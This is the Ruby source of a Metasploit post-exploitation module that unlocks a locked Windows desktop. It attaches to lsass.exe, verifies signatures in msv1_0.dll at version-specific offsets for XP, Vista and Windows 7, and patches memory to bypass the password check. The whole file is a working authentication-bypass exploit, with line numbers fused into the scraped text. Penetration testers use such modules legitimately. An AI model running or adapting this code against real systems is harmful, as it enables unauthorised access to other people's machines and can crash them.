Path: blob/master/modules/post/windows/escalate/screen_unlock.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasm'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Version910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Escalate Locked Desktop Unlocker',15'Description' => %q{16This module unlocks a locked Windows desktop by patching17the respective code inside the LSASS.exe process. This18patching process can result in the target system hanging or19even rebooting, so be careful when using this module on20production systems.21},22'License' => MSF_LICENSE,23'Author' => [24'L4teral <l4teral[4t]gmail com>', # Meterpreter script25'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/1626],27'References' => [28['URL', 'http://www.storm.net.nz/projects/16'],29],30'Platform' => [ 'win' ],31'SessionTypes' => [ 'meterpreter' ],32'Compat' => {33'Meterpreter' => {34'Commands' => %w[35stdapi_sys_process_attach36stdapi_sys_process_memory_read37stdapi_sys_process_memory_write38]39}40},41'Notes' => {42'Stability' => [CRASH_OS_DOWN],43'SideEffects' => [SCREEN_EFFECTS],44'Reliability' => []45}46)47)4849register_options([50OptBool.new('REVERT', [false, 'Enable this option to revert the in-memory patch and enable locking again', false])51])52end5354def unsupported55print_error('This platform is not supported with this Script!')56raise Rex::Script::Completed57end5859def run60revert = datastore['REVERT']6162targets = [63{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 },64{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 },65{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },66{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },67{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },68{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 },69{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish70]7172unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)73version = get_version_info7475targets.each do |t|76next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server?7778target = t79print_status("OS '#{version.product_name}' found in known targets")80pid = client.sys.process['lsass.exe']81p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)82dllbase = p.image['msv1_0.dll']8384sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack('H*')[0]85if sig != target[:sig]86print_error('Found signature does not match')87next88end8990old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack('H*')[0]91if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))92print_error('Found code does not match')93next94end9596print_status('Patching...')97new_code = revert ? target[:orig_code] : target[:patch]98p.memory.write(dllbase + target[:patchoffset], [new_code].pack('H*'))99100written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack('H*')[0]101if (written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert)102print_status('Done!')103raise Rex::Script::Completed104end105106print_error('Failed!')107end108109print_error('No working target found')110end111end112113114